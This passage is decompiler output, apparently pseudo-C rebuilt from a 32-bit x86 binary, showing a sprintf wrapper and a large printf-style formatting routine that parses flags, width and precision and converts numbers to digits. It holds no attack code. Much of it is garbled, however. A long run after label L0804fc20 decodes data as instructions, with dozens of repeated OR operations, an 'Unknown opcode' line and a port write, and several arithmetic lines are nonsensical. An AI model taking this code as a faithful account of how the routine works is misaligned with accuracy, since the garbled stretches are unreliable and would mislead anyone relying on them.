        *(A8 + 4) = *(A8 + 4) + ebx;
        Vfffffffc = Vfffffffc + ebx;
    } while(A10 = A10 - ebx);
    goto L0804f7dc;
L0804f78b:
    Vfffffff8 = Vfffffffc - Ac;
    ebx = esi - *(A8 + 4);
    if(A18 >= 0) {
        esi = esi + 1;
        if(A18 > 0) {
            ebx = ebx + 1;
        }
    }
    (save)ebx;
    (save) *(A8 + 4);
    (save)Vfffffffc;
    L0805652C();
    *(A8 + 4) = esi;
    eax = Vfffffff8 + ebx;
    goto L0804f7e2;
L0804f7dc:
    eax = Vfffffffc - Ac;
L0804f7e2:
    esp = ebp - 20;
}

/*	Procedure: 0x0804F7EC - 0x0804F804
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F7EC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L0804F888(0x8078750, A8, & Ac));
}

/*	Procedure: 0x0804F805 - 0x0804F807
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F805()
{



}

/*	Procedure: 0x0804F808 - 0x0804F81F
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

sprintf(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    return(L0804F820(A8, Ac, & A10));
}

/*	Procedure: 0x0804F820 - 0x0804F884
 *	Argument size: 12
 *	Local size: 96
 *	Save regs size: 12
 */

L0804F820(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vfffffff0;



    ebx = A8;
    (save)0;
    edi = & Vffffffa0;
    (save)edi;
    L08061F34();
    Vfffffff0 = 0x80787fc;
    (save)ebx;
    (save)-1;
    (save)ebx;
    (save)edi;
    L08052E80();
    (save)A10;
    (save)Ac;
    (save)edi;
    ebx = L0804F888();
    esp = esp + 36;
    if(Vffffffb8 <= Vffffffb4) {
        L08061910(edi, 0);
    } else {
        *Vffffffb4 = 0;
        Vffffffb4 = Vffffffb4 + 1;
    }
    eax = ebx;
    esp = ebp - 108;
}

/*	Procedure: 0x0804F885 - 0x0804F887
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804F885()
{



}

/*	Procedure: 0x0804F888 - 0x080529CA
 *	Argument size: 12
 *	Local size: 1268
 *	Save regs size: 12
 */

L0804F888(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffb10;
	/* unknown */ void  Vfffffb14;
	/* unknown */ void  Vfffffb18;
	/* unknown */ void  Vfffffb1c;
	/* unknown */ void  Vfffffb20;
	/* unknown */ void  Vfffffb24;
	/* unknown */ void  Vfffffb28;
	/* unknown */ void  Vfffffb2c;
	/* unknown */ void  Vfffffb30;
	/* unknown */ void  Vfffffb34;
	/* unknown */ void  Vfffffb38;
	/* unknown */ void  Vfffffb3c;
	/* unknown */ void  Vfffffb40;
	/* unknown */ void  Vfffffb44;
	/* unknown */ void  Vfffffb48;
	/* unknown */ void  Vfffffb4c;
	/* unknown */ void  Vfffffb50;
	/* unknown */ void  Vfffffb54;
	/* unknown */ void  Vfffffb58;
	/* unknown */ void  Vfffffb5c;
	/* unknown */ void  Vfffffb60;
	/* unknown */ void  Vfffffb64;
	/* unknown */ void  Vfffffb68;
	/* unknown */ void  Vfffffb6c;
	/* unknown */ void  Vfffffb70;
	/* unknown */ void  Vfffffb74;
	/* unknown */ void  Vfffffb78;
	/* unknown */ void  Vfffffb7c;
	/* unknown */ void  Vfffffb80;
	/* unknown */ void  Vfffffb84;
	/* unknown */ void  Vfffffb88;
	/* unknown */ void  Vfffffb8c;
	/* unknown */ void  Vfffffb90;
	/* unknown */ void  Vfffffb94;
	/* unknown */ void  Vfffffb98;
	/* unknown */ void  Vfffffb9c;
	/* unknown */ void  Vfffffba0;
	/* unknown */ void  Vfffffba4;
	/* unknown */ void  Vfffffba8;
	/* unknown */ void  Vfffffbb0;
	/* unknown */ void  Vfffffbc4;
	/* unknown */ void  Vfffffbc8;
	/* unknown */ void  Vfffffbcc;
	/* unknown */ void  Vfffffbd0;
	/* unknown */ void  Vfffffbd4;
	/* unknown */ void  Vfffffbd8;
	/* unknown */ void  Vfffffbdc;
	/* unknown */ void  Vfffffbe0;
	/* unknown */ void  Vfffffbe4;
	/* unknown */ void  Vfffffbe8;
	/* unknown */ void  Vfffffbec;
	/* unknown */ void  Vfffffbf0;
	/* unknown */ void  Vfffffbf4;
	/* unknown */ void  Vfffffbf8;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vfffffc00;
	/* unknown */ void  Vfffffc04;
	/* unknown */ void  Vfffffc08;
	/* unknown */ void  Vfffffc0c;
	/* unknown */ void  Vfffffc10;
	/* unknown */ void  Vfffffc14;
	/* unknown */ void  Vfffffc18;
	/* unknown */ void  Vffffffff;



    esi = Ac;
    if(A8 != 0) {
        ecx = A8;
        edx = *ecx & -65536;
        if(edx == -72548352 && !( *ecx & 8) && esi != 0) {
            ebx = A8;
            if(!( *ebx & 2)) {
                edi = A10;
                (save)edi;
                (save)esi;
                (save)ebx;
                eax = L08052DE8();
                goto L080529be;
            }
            Vfffffb9c = 0;
            eax = L0805602C(0, 0, 0);
            Vfffffb10 = esi;
            if(*esi != 0) {
L0804f908:
                ecx = Vfffffb10;
                if(*ecx != 37) {
                    if(*ecx < 0) {
                        eax = L0805602C(0, ecx, 1);
                        if(eax > 0) {
                            goto L0804f934;
                        }
                    }
                    Vfffffb10 = Vfffffb10 + 1;
                    goto L0804f93a;
L0804f934:
                    Vfffffb10 = Vfffffb10 + eax;
L0804f93a:
                    ebx = Vfffffb10;
                    if(*ebx != 0) {
                        goto L0804f908;
                    }
                }
            }
            edi = Vfffffb10;
            Vfffffba4 = edi;
            Vfffffc00 = edi;
            ecx = A8;
            edx = *(ecx + 80);
            ebx = Vfffffba4 - esi;
            edx = *(edx + 52);
            eax = *edx(ecx, esi, ebx);
            if(eax != ebx) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + eax;
            edx = Vfffffc00;
            if(*edx == 0) {
                goto L080529b8;
            }
            Vfffffba0 = 0;
            edi = A10;
            Vfffffb98 = edi;
            Vfffffba8 = -1;
L0804f9ac:
            Vfffffb94 = 0;
            Vfffffb90 = 0;
            Vfffffb8c = 0;
            Vfffffb88 = 0;
            Vfffffb84 = 0;
            esi = 0;
            Vfffffb80 = 0;
            Vfffffb7c = 0;
            Vfffffb74 = 0;
            Vfffffb70 = -1;
            Vfffffb6c = 32;
            edx = Vfffffc00 + 1;
            Vfffffc00 = edx;
            dl = *edx;
            Vfffffb60 = dl;
            edx = Vfffffb60 & 255;
            if(edx > 120) {
                goto L08050e7c;
            }
            goto *(edx * 4 + 0x804fa3c)[L08050e72, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L0804fc20, L08050e7c...]goto ( *(edx * 4 + 0x804fa3c));
L0804fc20:
            edx = Vfffffb60 & 255;
            if(edx > 120) {
                goto L08050e7c;
            }
            goto ( *(edx * 4 + 0x804fc38));
            < ? L0804fc48 : ;
            eax = eax + 84835336;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + edi * 8) = *(esi + edi * 8) | bl;
            if(!(al = al + 8)) {
                eax = eax + 84835336;
                *(esi + edi * 8 + 4) = *(esi + edi * 8 + 4) | dl;
                *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
                *(esp + eax + 5) = *(esp + eax + 5) | ah;
            }
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(eax + 2080900350) = *(eax + 2080900350) | al;
            (save)cs;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + edi * 8) = *(esi + edi * 8) | ch;
            if(!(al = eax + 84835336 + 8)) {
                eax = eax + 83770376;
                *(eax + eax + 243009541) = *(eax + eax + 243009541) | ch;
                eax = eax + 83780616;
            }
            *(eax + eax) = *(eax + eax) | cl;
            eax = eax + 83889160;
            *(eax + eax) = *(eax + eax) | cl;
            eax = eax + 83889160;
            *(eax + eax) = *(eax + eax) | cl;
            eax = eax + 83889160;
            *(eax + eax) = *(eax + eax) | cl;
            eax = eax + 83889160;
            *(eax + eax) = *(eax + eax) | cl;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *eax = *eax | bl;
            al = eax + 84835336 + *L050E7C08;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(ebp + eax + 243009541) = *(ebp + eax + 243009541) | cl;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(edx + ecx + 5) = *(edx + ecx + 5) | bh;
            *(eax + 1946682628) = *(eax + 1946682628) | ah;
            *L05097408 = *L05097408 | eax;
            *(ecx + ecx + 5) = *(ecx + ecx + 5) | dh;
            *eax = *eax | bl;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *eax = *eax | bl;
            al = eax + 84023304 + *L0504A008 + *L050DA008;
            *eax = *eax | dl;
            *eax = *eax | bl;
            *(ebx + ecx) = *(ebx + ecx) | dh;
            eax = (eax | 92276741) + 84714504 + *L050E7C08 + 84835336;
            *(ebp + eax + 5) = *(ebp + eax + 5) | dh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(esi + ecx + 5) = *(esi + ecx + 5) | bh;
            *(ebp + eax + -2050553851) = *(ebp + eax + -2050553851) | cl;
            asm("sti");
            asm("Unknown opcode 0xff");
            *ecx = *ecx + 1;
            *eax = *eax + al;
            cl = cl + ch;
            asm("out 0x0,eax");
            *eax = *eax + al;
            Vfffffb88 = 1;
            goto L0804ff12;
            Vfffffb8c = 1;
            Vfffffb6c = 32;
            goto L0804ff12;
            Vfffffb94 = 1;
            goto L0804ff12;
            if(Vfffffb8c == 0) {
                Vfffffb6c = 48;
                goto L0804ff12;
                Vfffffb84 = 1;
                if(Vfffffba8 == -1) {
                    edx = *( *L08078890 + 16);
                    Vfffffb28 = edx;
                    al = 0;
                    Vfffffb14 = edx;
                    edi = edx;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    edx = !ecx - 1;
                    ecx = Vfffffb28;
                    eax = L0805602C( & Vfffffc08, ecx, edx);
                    if(eax <= 0) {
                        edx = *( *( *L08078890 + 16)) & 255;
                        Vfffffc08 = edx;
                    }
                    edx = *( *L08078890 + 20);
                    Vfffffba8 = edx;
                    if(*edx == 0 || *edx == 255) {
                        goto L0804ff08;
                    }
                    if(Vfffffc08 == 0) {
L0804ff08:
                        Vfffffba8 = 0;
                    }
                }
            }
L0804ff12:
            edx = Vfffffc00 + 1;
            Vfffffc00 = edx;
            dl = *edx;
            Vfffffb60 = dl;
            if(dl != 42) {
                goto L0804fc20;
            }
            edx = Vfffffc00 + 1;
            Vfffffc00 = edx;
            Vfffffc04 = edx;
            edx = *Vfffffc04 & 255;
            ebx = *L08078FA0;
            Vfffffb1c = ebx;
            if(!( *(ebx + edx * 2 + 1) & 8)) {
                edx = edx + -48;
                Vfffffb10 = edx;
                Vfffffc04 = Vfffffc04 + 1;
                eax = Vfffffc04;
                edx = *eax & 255;
                if(!( *(ebx + edx * 2 + 1) & 8)) {
                    Vfffffb1c = ebx;
L0804ff80:
                    edi = Vfffffb10;
                    edx = edi + edi * 8 + edi - 48;
                    Vfffffb20 = edx;
                    edx = ( *eax & 255) + Vfffffb20;
                    Vfffffb10 = edx;
                    Vfffffc04 = Vfffffc04 + 1;
                    eax = Vfffffc04;
                    edx = *eax & 255;
                    ecx = Vfffffb1c;
                    if(*(ecx + edx * 2 + 1) & 8) {
                        goto L0804ff80;
                    }
                }
                if(Vfffffb10 != 0) {
                    edx = Vfffffc04;
                    if(*edx == 36) {
                        goto L08050e7c;
                    }
                }
            }
            A10 = A10 + 4;
            ebx = *(A10 - 4);
            Vfffffb74 = ebx;
            if(ebx < 0) {
                ebx = ~ebx;
                Vfffffb74 = ebx;
                Vfffffb6c = 32;
                Vfffffb8c = 1;
                goto L0805009d;
                edx = *Vfffffc00 & 255;
                Vfffffb10 = edx;
                Vfffffb10 = Vfffffb10 + -48;
                Vfffffc00 = Vfffffc00 + 1;
                eax = Vfffffc00;
                edx = *eax & 255;
                edi = *L08078FA0;
                Vfffffb1c = edi;
                if(!( *(edi + edx * 2 + 1) & 8)) {
L08050044:
                    ecx = Vfffffb10;
                    edx = ecx + ecx * 8 + ecx - 48;
                    Vfffffb20 = edx;
                    edx = ( *eax & 255) + Vfffffb20;
                    Vfffffb10 = edx;
                    Vfffffc00 = Vfffffc00 + 1;
                    eax = Vfffffc00;
                    edx = *eax & 255;
                    ebx = Vfffffb1c;
                    if(*(ebx + edx * 2 + 1) & 8) {
                        goto L08050044;
                    }
                }
                edi = Vfffffb10;
                Vfffffb74 = edi;
                edx = Vfffffc00;
                if(*edx == 36) {
                    goto L08050e7c;
                }
            }
L0805009d:
            edx = Vfffffc00;
            if(*edx == 46) {
                Vfffffc00 = Vfffffc00 + 1;
                edx = Vfffffc00;
                if(*edx == 42) {
                    Vfffffc00 = Vfffffc00 + 1;
                    edx = Vfffffc00;
                    Vfffffbfc = edx;
                    edx = *Vfffffbfc & 255;
                    ecx = *L08078FA0;
                    Vfffffb1c = ecx;
                    if(!( *(ecx + edx * 2 + 1) & 8)) {
                        edx = edx + -48;
                        Vfffffb10 = edx;
                        Vfffffbfc = Vfffffbfc + 1;
                        eax = Vfffffbfc;
                        edx = *eax & 255;
                        if(!( *(ecx + edx * 2 + 1) & 8)) {
                            Vfffffb1c = ecx;
L08050110:
                            ebx = Vfffffb10;
                            edx = ebx + ebx * 8 + ebx - 48;
                            Vfffffb20 = edx;
                            edx = ( *eax & 255) + Vfffffb20;
                            Vfffffb10 = edx;
                            Vfffffbfc = Vfffffbfc + 1;
                            eax = Vfffffbfc;
                            edx = *eax & 255;
                            edi = Vfffffb1c;
                            if(*(edi + edx * 2 + 1) & 8) {
                                goto L08050110;
                            }
                        }
                        if(Vfffffb10 != 0) {
                            edx = Vfffffbfc;
                            if(*edx == 36) {
                                goto L08050e7c;
                            }
                        }
                    }
                    A10 = A10 + 4;
                    ecx = *(A10 - 4);
                    Vfffffb70 = ecx;
                } else {
                    edx = *Vfffffc00 & 255;
                    ebx = *L08078FA0;
                    Vfffffb1c = ebx;
                    if(!( *(ebx + edx * 2 + 1) & 8)) {
                        edx = edx + -48;
                        Vfffffb10 = edx;
                        Vfffffc00 = Vfffffc00 + 1;
                        eax = Vfffffc00;
                        edx = *eax & 255;
                        if(!( *(ebx + edx * 2 + 1) & 8)) {
                            Vfffffb1c = ebx;
L080501c0:
                            edi = Vfffffb10;
                            edx = edi + edi * 8 + edi - 48;
                            Vfffffb20 = edx;
                            edx = ( *eax & 255) + Vfffffb20;
                            Vfffffb10 = edx;
                            Vfffffc00 = Vfffffc00 + 1;
                            eax = Vfffffc00;
                            edx = *eax & 255;
                            if(*(Vfffffb1c + edx * 2 + 1) & 8) {
                                goto L080501c0;
                            }
                        }
                        ebx = Vfffffb10;
                        Vfffffb70 = ebx;
                    } else {
                        Vfffffb70 = 0;
                    }
                }
            }
L08050218:
            edx = Vfffffc00;
            Vfffffb60 = *edx;
            edx = Vfffffb60 & 255;
            if(edx > 120) {
                goto L08050e7c;
            }
            goto *(edx * 4 + 0x805023c)[L08050e72, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c, L08050e7c...]goto ( *(edx * 4 + 0x805023c));
            Vfffffb80 = 1;
            goto L08050459;
            if(Vfffffb7c == 0) {
                Vfffffb7c = 1;
                goto L08050459;
                esi = 0;
                Vfffffb7c = 0;
            } else {
                esi = 1;
            }
L08050459:
            Vfffffc00 = Vfffffc00 + 1;
            goto L08050218;
            edi = A8;
            if(*(edi + 24) <= *(edi + 20)) {
                eax = L08061910(edi, 37);
                if(eax == -1) {
                    goto L08050e72;
                }
            } else {
                ecx = A8;
                edx = *(ecx + 20);
                *edx = 37;
                *(ecx + 20) = *(ecx + 20) + 1;
            }
            Vfffffb9c = Vfffffb9c + 1;
            goto L08050dc4;
            Vfffffb10 = 10;
            if(esi != 0) {
                A10 = A10 + 8;
                ebx = A10;
                edi = *(ebx - 8);
                Vfffffb14 = edi;
                edi = *(ebx - 4);
                Vfffffb18 = edi;
                Vfffffb78 = 0;
                if(Vfffffb18 < 0) {
                    Vfffffb78 = Vfffffb78 + 1;
                }
                ecx = Vfffffb14;
                Vfffffb14 = ecx;
                ecx = Vfffffb18;
                Vfffffb18 = ecx;
                if(Vfffffb78 != 0) {
                    Vfffffb14 = ~Vfffffb14;
                    asm("adc dword [ebp+0xfffffb18],+0x0");
                    Vfffffb18 = ~Vfffffb18;
                }
                ebx = Vfffffb14;
                Vfffffb64 = ebx;
                ebx = Vfffffb18;
                Vfffffb68 = ebx;
                goto L080505d5;
            }
            if(Vfffffb7c != 0) {
                A10 = A10 + 4;
                edi = A10;
                edx = *(edi - 4);
            } else {
                ecx = A10;
                edx = *(ecx - 4);
            }
            ebx = edx >> 31;
            Vfffffb78 = ebx;
            if(!(A10 = A10 + 4)) {
                edx = ~edx;
            }
            Vfffffb64 = edx;
            goto L080506c4;
            Vfffffb10 = 10;
            goto L08050596;
            Vfffffb10 = 8;
            goto L08050596;
            Vfffffb10 = 16;
L08050596:
            Vfffffb78 = 0;
            Vfffffb88 = 0;
            Vfffffb90 = 0;
            if(esi != 0) {
                A10 = A10 + 8;
                edi = A10;
                ecx = *(edi - 8);
                Vfffffb64 = ecx;
                Vfffffb68 = *(edi - 4);
L080505d5:
                if(Vfffffb70 >= 0) {
                    Vfffffb6c = 32;
                    if(Vfffffb70 != 0 || Vfffffb64 != 0 || Vfffffb68 != 0) {
                        goto L08050612;
                    }
                    esi = & Vffffffff;
                } else {
                    Vfffffb70 = 1;
L08050612:
                    ebx = Vfffffb10;
                    eax = L08062714(Vfffffb64, Vfffffb68, ebp, ebx, 0);
                    esi = eax - 1;
                    if(Vfffffb84 != 0 && Vfffffba8 != 0) {
                        edx = Vfffffc08;
                        edi = Vfffffba8;
                        eax = L08052C9C(esi, & Vffffffff, edi, edx);
                        esi = eax;
                    }
                }
                edx = 0;
                if(Vfffffb64 != 0 || Vfffffb68 != 0) {
                    edx = 1;
                }
                Vfffffb64 = edx;
            } else {
                if(Vfffffb7c != 0) {
                    A10 = A10 + 4;
                    ecx = *(A10 - 4);
                    Vfffffb64 = ecx;
                } else {
                    A10 = A10 + 4;
                    ebx = *(A10 - 4);
                    Vfffffb64 = ebx;
                }
L080506c4:
                if(Vfffffb70 >= 0) {
                    Vfffffb6c = 32;
                    if(Vfffffb70 != 0 || Vfffffb64 != 0) {
                        goto L080506fa;
                    }
                    esi = & Vffffffff;
                } else {
                    Vfffffb70 = 1;
L080506fa:
                    edx = Vfffffb64;
                    eax = edx;
                    edx = ebp;
                    Vfffffb14 = "0123456789abcdefghijklmnopqrstuvwxyz";
                    if(Vfffffb60 == 88) {
                        Vfffffb14 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
                    }
                    esi = edx;
                    if(Vfffffb10 != 10) {
                        > ? L0805073c : ;
                        if(Vfffffb10 == 8) {
                            goto L0805077c;
                        }
                        goto L08050794;
                        if(Vfffffb10 == 16) {
                            goto L08050764;
                        }
                    } else {
L08050748:
                        esi = esi - 1;
                        edx = 0;
                        edi = 10 / 10;
                        edx = edi % edi;
                        ecx = Vfffffb14;
                        dl = *(edx + ecx);
                        *esi = dl;
                        if(eax != 0) {
                            goto L08050748;
                        }
                        goto L080507ac;
L08050764:
                        esi = esi - 1;
                        ebx = Vfffffb14;
                        dl = *(edx + ebx);
                        *esi = dl;
                        eax = eax >> 4;
                        if(edx = eax & 15) {
                            goto L08050764;
                        }
                        goto L080507ac;
L0805077c:
                        esi = esi - 1;
                        edi = Vfffffb14;
                        dl = *(edx + edi);
                        *esi = dl;
                        eax = eax >> 3;
                        if(edx = eax & 7) {
                            goto L0805077c;
                        }
                        goto L080507ac;
                    }
L08050794:
                    esi = esi - 1;
                    edx = 0;
                    Vfffffb10 = Vfffffb10 / Vfffffb10;
                    edx = Vfffffb10 % Vfffffb10;
                    *esi = *(edx + Vfffffb14);
                    if(eax != 0) {
                        goto L08050794;
                    }
L080507ac:
                    esi = esi - 1;
                    if(Vfffffb84 != 0 && Vfffffba8 != 0) {
                        edx = Vfffffc08;
                        ebx = Vfffffba8;
                        eax = L08052C9C(esi, & Vffffffff, ebx, edx);
                        esi = eax;
                    }
                }
            }
            edx = !esi + ebp;
            Vfffffb74 = Vfffffb74 - edx;
            Vfffffb70 = Vfffffb70 - edx;
            if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 8) {
                if(Vfffffb70 > 0) {
                    goto L08050825;
                }
                *esi = 48;
                esi = esi - 1;
                Vfffffb74 = Vfffffb74 - 1;
            }
            if(Vfffffb70 > 0) {
L08050825:
                edi = Vfffffb70;
                Vfffffb74 = Vfffffb74 - edi;
                edx = Vfffffb70;
                edi = edi - 1;
                Vfffffb70 = edi;
                if(edx > 0) {
L08050844:
                    *esi = 48;
                    esi = esi - 1;
                    edx = Vfffffb70;
                    Vfffffb70 = Vfffffb70 - 1;
                    if(edx > 0) {
                        goto L08050844;
                    }
                }
            }
            if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 16) {
                Vfffffb74 = Vfffffb74 + -2;
            }
            if(Vfffffb78 != 0 || Vfffffb88 != 0 || Vfffffb90 != 0) {
                Vfffffb74 = Vfffffb74 - 1;
            }
            if(Vfffffb8c == 0 && Vfffffb6c == 48) {
                goto L080508b4;
L080508b0:
                *esi = 48;
                esi = esi - 1;
L080508b4:
                edx = Vfffffb74;
                Vfffffb74 = Vfffffb74 - 1;
                if(edx > 0) {
                    goto L080508b0;
                }
            }
            if(Vfffffb64 != 0 && Vfffffb94 != 0 && Vfffffb10 == 16) {
                *esi = Vfffffb60;
                esi = esi - 1;
                *esi = 48;
                esi = esi - 1;
            }
            if(Vfffffb78 != 0) {
                *esi = 45;
                goto L08050918;
            }
            if(Vfffffb88 != 0) {
                *esi = 43;
                goto L08050918;
            }
            if(Vfffffb90 != 0) {
                *esi = 32;
L08050918:
                esi = esi - 1;
            }
            if(Vfffffb8c == 0 && Vfffffb6c == 32) {
                goto L08050934;
L08050930:
                *esi = 32;
                esi = esi - 1;
L08050934:
                edx = Vfffffb74;
                Vfffffb74 = Vfffffb74 - 1;
                if(edx > 0) {
                    goto L08050930;
                }
            }
            ebx = *(A8 + 80);
            edi = !esi + ebp;
            edx = esi + 1;
            edx = *(ebx + 52);
            eax = *edx(A8, edx, edi);
            if(eax != edi) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + eax;
            goto L08050b07;
            ecx = Vfffffb70;
            Vfffffbcc = ecx;
            ebx = Vfffffb74;
            Vfffffbd0 = ebx;
            cl = Vfffffb60;
            Vfffffbd4 = cl;
            Vfffffbd8 = esi;
            ebx = Vfffffb80;
            Vfffffbdc = ebx;
            edi = Vfffffb7c;
            Vfffffbe0 = edi;
            ecx = Vfffffb94;
            Vfffffbe4 = ecx;
            ebx = Vfffffb90;
            Vfffffbe8 = ebx;
            edi = Vfffffb8c;
            Vfffffbec = edi;
            ecx = Vfffffb88;
            Vfffffbf0 = ecx;
            ebx = Vfffffb84;
            Vfffffbf4 = ebx;
            Vfffffbf8 = Vfffffb6c;
            eax = 0x8053310;
            if(esi != 0) {
                A10 = A10 + 12;
                ebx = A10;
                edx = *(ebx - 12);
                Vfffffc0c = edx;
                edx = *(ebx - 8);
                Vfffffc10 = edx;
                edx = *(ebx - 4);
                Vfffffc14 = edx;
            } else {
                A10 = A10 + 8;
                edi = A10;
                edx = *(edi - 8);
                Vfffffc0c = edx;
                edx = *(edi - 4);
                Vfffffc10 = edx;
            }
            Vfffffbc8 = & Vfffffc0c;
            edx = & Vfffffbc8;
            ebx = A8;
            eax = *eax(ebx, & Vfffffbcc, edx);
            if(eax < 0) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + eax;
            goto L08050dc4;
            Vfffffb74 = Vfffffb74 - 1;
            if(Vfffffb8c == 0 && Vfffffb74 > 0) {
                edi = Vfffffb74;
                L08062534(A8, 32, edi);
                Vfffffb9c = Vfffffb9c + eax;
            }
            A10 = A10 + 4;
            ebx = A10;
            eax = *(ebx - 4) & 255;
            edi = A8;
            edx = *(edi + 20);
            if(*(edi + 24) <= edx) {
                eax = L08061910(edi, al & 255);
                if(eax == -1) {
                    goto L08050e72;
                }
            } else {
                ecx = A8;
                edx = *(ecx + 20);
                Vfffffb28 = al;
                *edx = al;
                edx = Vfffffb28 & 255;
                *(ecx + 20) = *(ecx + 20) + 1;
                if(edx == -1) {
                    goto L08050e72;
                }
            }
            Vfffffb9c = Vfffffb9c + 1;
L08050b07:
            if(Vfffffb8c != 0 && Vfffffb74 > 0) {
                ebx = Vfffffb74;
